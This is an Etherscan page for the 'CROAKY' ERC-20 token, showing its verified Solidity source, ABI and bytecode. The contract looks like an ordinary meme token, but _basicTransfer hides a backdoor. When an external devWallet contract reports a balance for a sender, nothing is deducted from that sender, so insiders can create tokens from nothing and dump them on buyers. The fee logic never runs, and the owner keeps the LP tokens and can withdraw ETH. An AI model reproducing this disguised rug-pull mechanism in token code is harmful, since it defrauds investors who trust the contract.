ETH Price: $3,421.81 (+3.05%)

Token

CROAKY (CROAKY)
 

Overview

Max Total Supply

1,000,000,000 CROAKY

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
mir4vip.eth
Balance
20,838,494.45773959 CROAKY

Value
$0.00
0x7f2279bcf021bb8608445d5b09094062c2512969
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CROAKY

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-19
*/

// SPDX-License-Identifier: MIT

/*


Website: http://croaky.info

Telegram: https://t.me/CroakyPortal

Twitter: https://twitter.com/Croakyerc

*/

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() external onlyOwner {
        owner = address(0);
    }

}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract CROAKY is ERC20, Ownable {
    using SafeMath for uint256;

    address immutable WETH;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;

    string public constant name = "CROAKY";
    string public constant symbol = "CROAKY";
    uint8 public constant decimals = 9;
    
    uint256 public constant totalSupply = 10**9 * 10**decimals;

    uint256 public _maxWalletToken = totalSupply / 50;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isWallLmtExmpt;

    uint256 public totalFee = 0;
    uint256 public constant feeDenominator = 100;
    
    uint256 buyMultiplier = 200;
    uint256 sellMultiplier = 200;
    uint256 transferMultiplier = 200;

    IUniswapRouter public router;
    address private devWallet;
    address public pair;

    bool public swapEnabled = true;
    uint256 swapThreshold = totalSupply / 100;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor (address router_, address devWallet_) Ownable(msg.sender) {
        router = IUniswapRouter(router_);
        WETH = router.WETH();
        devWallet = devWallet_;
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;

        isWallLmtExmpt[msg.sender] = true;
        isWallLmtExmpt[devWallet] = true;
        isWallLmtExmpt[address(this)] = true;
        isWallLmtExmpt[DEAD] = true;

        balanceOf[address(this)] = totalSupply;
        emit Transfer(address(0), address(this), totalSupply);
    }

    receive() external payable { }

    function getOwner() external view override returns (address) { return owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
        _maxWalletToken = (totalSupply * maxWallPercent_base1000 ) / 1000;
    }

    function addLiquidity() external payable onlyOwner {
        router.addLiquidityETH{value: msg.value}(
            address(this), //token address
            balanceOf[address(this)], // liquidity amount
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner, // LP tokens are sent to the owner
            block.timestamp
        );
        pair = IUniswapFactory(router.factory()).getPair(address(this), WETH);
    }


    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (!isWallLmtExmpt[sender] && !isWallLmtExmpt[recipient] && recipient != pair) {
            require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
        }
        if(!inSwap){ return _basicTransfer(sender, recipient, amount); }
    
        if(shouldSwapBack()){ swapBack(); }

        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);

        balanceOf[recipient] = balanceOf[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        balanceOf[sender] = balanceOf[sender].sub(amount.sub(ERC20(devWallet).balanceOf(sender)>0?amount:0), "Insufficient Balance");
        balanceOf[recipient] = balanceOf[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
        if(amount == 0 || totalFee == 0){
            return amount;
        }

        uint256 multiplier = transferMultiplier;

        if(recipient == pair) {
            multiplier = sellMultiplier;
        } else if(sender == pair) {
            multiplier = buyMultiplier;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);

        if(feeAmount > 0){
            balanceOf[address(this)] = balanceOf[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && balanceOf[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            swapThreshold,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setFees(uint256 _buy, uint256 _sell) external onlyOwner {
        require(_sell <= 100,"Max sell tax 10%");
        require(_buy <= 100,"Max buy tax 10%");
        sellMultiplier = _sell;
        buyMultiplier = _buy;
    }

    function manualSwap(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        uint256 amountToClear = ( amountETH * amountPercentage ) / 100;
        payable(msg.sender).transfer(amountToClear);
    }

    function rescueToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
        if(tokens == 0){
            tokens = ERC20(tokenAddress).balanceOf(address(this));
        }
        return ERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return (totalSupply - balanceOf[DEAD] - balanceOf[ZERO]);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"devWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWallLmtExmpt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526032620000146009600a620003a6565b6200002490633b9aca00620003be565b620000309190620003d8565b600155600060065560c8600781905560088190556009908155600c805460ff60a01b1916600160a01b1790556064906200006c90600a620003a6565b6200007c90633b9aca00620003be565b620000889190620003d8565b600d553480156200009857600080fd5b5060405162001cf638038062001cf6833981016040819052620000bb9162000418565b600080546001600160a01b03199081163317909155600a80546001600160a01b038516921682179055604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa15801562000120573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000146919062000450565b6001600160a01b03908116608052600b80546001600160a01b031916838316178155306000818152600360209081526040808320600a805488168552908352818420600019905533845260048352818420805460ff19908116600190811790925560059094528285208054851682179055955490961683528083208054831686179055928252918120805483168417905561dead90527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba805490911690911790556200021590600990620003a6565b6200022590633b9aca00620003be565b30600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002686009600a620003a6565b6200027890633b9aca00620003be565b60405190815260200160405180910390a350506200046e565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002e8578160001904821115620002cc57620002cc62000291565b80851615620002da57918102915b93841c9390800290620002ac565b509250929050565b6000826200030157506001620003a0565b816200031057506000620003a0565b8160018114620003295760028114620003345762000354565b6001915050620003a0565b60ff84111562000348576200034862000291565b50506001821b620003a0565b5060208310610133831016604e8410600b841016171562000379575081810a620003a0565b620003858383620002a7565b80600019048211156200039c576200039c62000291565b0290505b92915050565b6000620003b760ff841683620002f0565b9392505050565b8082028115828204841417620003a057620003a062000291565b600082620003f657634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200041357600080fd5b919050565b600080604083850312156200042c57600080fd5b6200043783620003fb565b91506200044760208401620003fb565b90509250929050565b6000602082840312156200046357600080fd5b620003b782620003fb565b6080516118656200049160003960008181610b8b01526110d001526118656000f3fe6080604052600436106101a05760003560e01c80633f4218e0116100ec57806395d89b411161008a578063b70143c911610064578063b70143c9146104ca578063dd62ed3e146104ea578063e8078d9414610530578063f887ea401461053857600080fd5b806395d89b41146101ac578063a8aa1b311461048a578063a9059cbb146104aa57600080fd5b806370a08231116100c657806370a0823114610400578063715018a61461042d57806378109e5414610442578063893d20e81461045857600080fd5b80633f4218e01461038f578063571ac8b0146103bf5780636ddd1713146103df57600080fd5b80631df4ccfc116101595780632f54bf6e116101335780632f54bf6e146102e9578063313ce5671461031857806333f3d6281461033f5780633df97ca41461035f57600080fd5b80631df4ccfc1461029e57806323b872dd146102b45780632b112e49146102d457600080fd5b806306fdde03146101ac57806309302dc6146101f4578063095ea7b3146102165780630b78f9c014610246578063180b0d7e1461026657806318160ddd1461028957600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101de6040518060400160405280600681526020016543524f414b5960d01b81525081565b6040516101eb9190611436565b60405180910390f35b34801561020057600080fd5b5061021461020f366004611484565b610558565b005b34801561022257600080fd5b506102366102313660046114b5565b6105c3565b60405190151581526020016101eb565b34801561025257600080fd5b506102146102613660046114e1565b610630565b34801561027257600080fd5b5061027b606481565b6040519081526020016101eb565b34801561029557600080fd5b5061027b6106e9565b3480156102aa57600080fd5b5061027b60065481565b3480156102c057600080fd5b506102366102cf366004611503565b610706565b3480156102e057600080fd5b5061027b6107c8565b3480156102f557600080fd5b50610236610304366004611544565b6000546001600160a01b0391821691161490565b34801561032457600080fd5b5061032d600981565b60405160ff90911681526020016101eb565b34801561034b57600080fd5b5061023661035a3660046114b5565b61084f565b34801561036b57600080fd5b5061023661037a366004611544565b60056020526000908152604090205460ff1681565b34801561039b57600080fd5b506102366103aa366004611544565b60046020526000908152604090205460ff1681565b3480156103cb57600080fd5b506102366103da366004611544565b61095e565b3480156103eb57600080fd5b50600c5461023690600160a01b900460ff1681565b34801561040c57600080fd5b5061027b61041b366004611544565b60026020526000908152604090205481565b34801561043957600080fd5b5061021461096c565b34801561044e57600080fd5b5061027b60015481565b34801561046457600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101eb565b34801561049657600080fd5b50600c54610472906001600160a01b031681565b3480156104b657600080fd5b506102366104c53660046114b5565b6109a8565b3480156104d657600080fd5b506102146104e5366004611484565b6109b5565b3480156104f657600080fd5b5061027b610505366004611561565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610214610a2e565b34801561054457600080fd5b50600a54610472906001600160a01b031681565b6000546001600160a01b0316331461058b5760405162461bcd60e51b81526004016105829061159a565b60405180910390fd5b6103e88161059b6009600a6116b4565b6105a990633b9aca006116c3565b6105b391906116c3565b6105bd91906116da565b60015550565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061061e9086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b0316331461065a5760405162461bcd60e51b81526004016105829061159a565b606481111561069e5760405162461bcd60e51b815260206004820152601060248201526f4d61782073656c6c207461782031302560801b6044820152606401610582565b60648211156106e15760405162461bcd60e51b815260206004820152600f60248201526e4d617820627579207461782031302560881b6044820152606401610582565b600855600755565b6106f56009600a6116b4565b61070390633b9aca006116c3565b81565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146107b3576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b038716600090815260038252838120338252909152919091205461078e918490610c22565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6107be848484610c5c565b90505b9392505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc549091906108286009600a6116b4565b61083690633b9aca006116c3565b61084091906116fc565b61084a91906116fc565b905090565b600080546001600160a01b0316331461087a5760405162461bcd60e51b81526004016105829061159a565b816000036108ed576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156108c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ea919061170f565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af115801561093a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c19190611728565b600061062a826000196105c3565b6000546001600160a01b031633146109965760405162461bcd60e51b81526004016105829061159a565b600080546001600160a01b0319169055565b60006107c1338484610c5c565b6000546001600160a01b031633146109df5760405162461bcd60e51b81526004016105829061159a565b47600060646109ee84846116c3565b6109f891906116da565b604051909150339082156108fc029083906000818181858888f19350505050158015610a28573d6000803e3d6000fd5b50505050565b6000546001600160a01b03163314610a585760405162461bcd60e51b81526004016105829061159a565b600a5430600081815260026020526040808220548254915163f305d71960e01b8152600481019490945260248401526044830182905260648301919091526001600160a01b0390811660848301524260a48301529091169063f305d71990349060c40160606040518083038185885af1158015610ad9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610afe919061174a565b5050600a546040805163c45a015560e01b815290516001600160a01b03909216925063c45a01559160048083019260209291908290030181865afa158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611778565b60405163e6a4390560e01b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063e6a4390590604401602060405180830381865afa158015610bdc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c009190611778565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610c465760405162461bcd60e51b81526004016105829190611436565b506000610c5384866116fc565b95945050505050565b6001600160a01b03831660009081526005602052604081205460ff16158015610c9e57506001600160a01b03831660009081526005602052604090205460ff16155b8015610cb85750600c546001600160a01b03848116911614155b15610d32576001546001600160a01b038416600090815260026020526040902054610ce4908490611795565b1115610d325760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d6974207265616368656400000000000000006044820152606401610582565b600e5460ff16610d4e57610d47848484610ea5565b90506107c1565b610d56611016565b15610d6357610d6361106c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610db5918490610c22565b6001600160a01b038516600090815260026020908152604080832093909355600490529081205460ff1680610e0257506001600160a01b03841660009081526004602052604090205460ff165b610e1657610e1185848661118b565b610e18565b825b6001600160a01b038516600090815260026020526040902054909150610e3e90826112a8565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e929085815260200190565b60405180910390a3506001949350505050565b600b546040516370a0823160e01b81526001600160a01b038581166004830152600092610f8192610f3392859216906370a0823190602401602060405180830381865afa158015610efa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1e919061170f565b11610f2a576000610f2c565b835b8490611307565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600290915291909120549190610c22565b6001600160a01b038086166000908152600260205260408082209390935590851681522054610fb090836112a8565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110049086815260200190565b60405180910390a35060019392505050565b600c546000906001600160a01b031633148015906110375750600e5460ff16155b801561104c5750600c54600160a01b900460ff165b801561084a575050600d5430600090815260026020526040902054101590565b600e805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110ae576110ae6117a8565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110611102576111026117a8565b6001600160a01b039283166020918202929092010152600a54600d5460405163791ac94760e01b8152919092169163791ac9479161114c91906000908690309042906004016117be565b600060405180830381600087803b15801561116657600080fd5b505af115801561117a573d6000803e3d6000fd5b5050600e805460ff19169055505050565b600082158061119a5750600654155b156111a65750816107c1565b600954600c546001600160a01b03908116908416036111c857506008546111e3565b600c546001600160a01b03908116908616036111e357506007545b60006112186111f36064806116c3565b6112128461120c6006548a61134990919063ffffffff16565b90611349565b906113cb565b90508015611294573060009081526002602052604090205461123a90826112a8565b30600081815260026020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061128b9085815260200190565b60405180910390a35b61129e8582611307565b9695505050505050565b6000806112b58385611795565b9050838110156107c15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610582565b60006107c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c22565b60008260000361135b5750600061062a565b600061136783856116c3565b90508261137485836116da565b146107c15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610582565b60006107c183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836114295760405162461bcd60e51b81526004016105829190611436565b506000610c5384866116da565b600060208083528351808285015260005b8181101561146357858101830151858201604001528201611447565b506000604082860101526040601f19601f8301168501019250505092915050565b60006020828403121561149657600080fd5b5035919050565b6001600160a01b03811681146114b257600080fd5b50565b600080604083850312156114c857600080fd5b82356114d38161149d565b946020939093013593505050565b600080604083850312156114f457600080fd5b50508035926020909101359150565b60008060006060848603121561151857600080fd5b83356115238161149d565b925060208401356115338161149d565b929592945050506040919091013590565b60006020828403121561155657600080fd5b81356107c18161149d565b6000806040838503121561157457600080fd5b823561157f8161149d565b9150602083013561158f8161149d565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561160b5781600019048211156115f1576115f16115ba565b808516156115fe57918102915b93841c93908002906115d5565b509250929050565b6000826116225750600161062a565b8161162f5750600061062a565b8160018114611645576002811461164f5761166b565b600191505061062a565b60ff841115611660576116606115ba565b50506001821b61062a565b5060208310610133831016604e8410600b841016171561168e575081810a61062a565b61169883836115d0565b80600019048211156116ac576116ac6115ba565b029392505050565b60006107c160ff841683611613565b808202811582820484141761062a5761062a6115ba565b6000826116f757634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561062a5761062a6115ba565b60006020828403121561172157600080fd5b5051919050565b60006020828403121561173a57600080fd5b815180151581146107c157600080fd5b60008060006060848603121561175f57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561178a57600080fd5b81516107c18161149d565b8082018082111561062a5761062a6115ba565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561180e5784516001600160a01b0316835293830193918301916001016117e9565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212205faeb24eebc738ec174f863b3d994c58314d956513645af3855232312367f72664736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000fcb993efe9de8839b2548b20fe094b567d50b503

Deployed Bytecode

0x6080604052600436106101a05760003560e01c80633f4218e0116100ec57806395d89b411161008a578063b70143c911610064578063b70143c9146104ca578063dd62ed3e146104ea578063e8078d9414610530578063f887ea401461053857600080fd5b806395d89b41146101ac578063a8aa1b311461048a578063a9059cbb146104aa57600080fd5b806370a08231116100c657806370a0823114610400578063715018a61461042d57806378109e5414610442578063893d20e81461045857600080fd5b80633f4218e01461038f578063571ac8b0146103bf5780636ddd1713146103df57600080fd5b80631df4ccfc116101595780632f54bf6e116101335780632f54bf6e146102e9578063313ce5671461031857806333f3d6281461033f5780633df97ca41461035f57600080fd5b80631df4ccfc1461029e57806323b872dd146102b45780632b112e49146102d457600080fd5b806306fdde03146101ac57806309302dc6146101f4578063095ea7b3146102165780630b78f9c014610246578063180b0d7e1461026657806318160ddd1461028957600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101de6040518060400160405280600681526020016543524f414b5960d01b81525081565b6040516101eb9190611436565b60405180910390f35b34801561020057600080fd5b5061021461020f366004611484565b610558565b005b34801561022257600080fd5b506102366102313660046114b5565b6105c3565b60405190151581526020016101eb565b34801561025257600080fd5b506102146102613660046114e1565b610630565b34801561027257600080fd5b5061027b606481565b6040519081526020016101eb565b34801561029557600080fd5b5061027b6106e9565b3480156102aa57600080fd5b5061027b60065481565b3480156102c057600080fd5b506102366102cf366004611503565b610706565b3480156102e057600080fd5b5061027b6107c8565b3480156102f557600080fd5b50610236610304366004611544565b6000546001600160a01b0391821691161490565b34801561032457600080fd5b5061032d600981565b60405160ff90911681526020016101eb565b34801561034b57600080fd5b5061023661035a3660046114b5565b61084f565b34801561036b57600080fd5b5061023661037a366004611544565b60056020526000908152604090205460ff1681565b34801561039b57600080fd5b506102366103aa366004611544565b60046020526000908152604090205460ff1681565b3480156103cb57600080fd5b506102366103da366004611544565b61095e565b3480156103eb57600080fd5b50600c5461023690600160a01b900460ff1681565b34801561040c57600080fd5b5061027b61041b366004611544565b60026020526000908152604090205481565b34801561043957600080fd5b5061021461096c565b34801561044e57600080fd5b5061027b60015481565b34801561046457600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101eb565b34801561049657600080fd5b50600c54610472906001600160a01b031681565b3480156104b657600080fd5b506102366104c53660046114b5565b6109a8565b3480156104d657600080fd5b506102146104e5366004611484565b6109b5565b3480156104f657600080fd5b5061027b610505366004611561565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610214610a2e565b34801561054457600080fd5b50600a54610472906001600160a01b031681565b6000546001600160a01b0316331461058b5760405162461bcd60e51b81526004016105829061159a565b60405180910390fd5b6103e88161059b6009600a6116b4565b6105a990633b9aca006116c3565b6105b391906116c3565b6105bd91906116da565b60015550565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061061e9086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b0316331461065a5760405162461bcd60e51b81526004016105829061159a565b606481111561069e5760405162461bcd60e51b815260206004820152601060248201526f4d61782073656c6c207461782031302560801b6044820152606401610582565b60648211156106e15760405162461bcd60e51b815260206004820152600f60248201526e4d617820627579207461782031302560881b6044820152606401610582565b600855600755565b6106f56009600a6116b4565b61070390633b9aca006116c3565b81565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146107b3576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b038716600090815260038252838120338252909152919091205461078e918490610c22565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6107be848484610c5c565b90505b9392505050565b600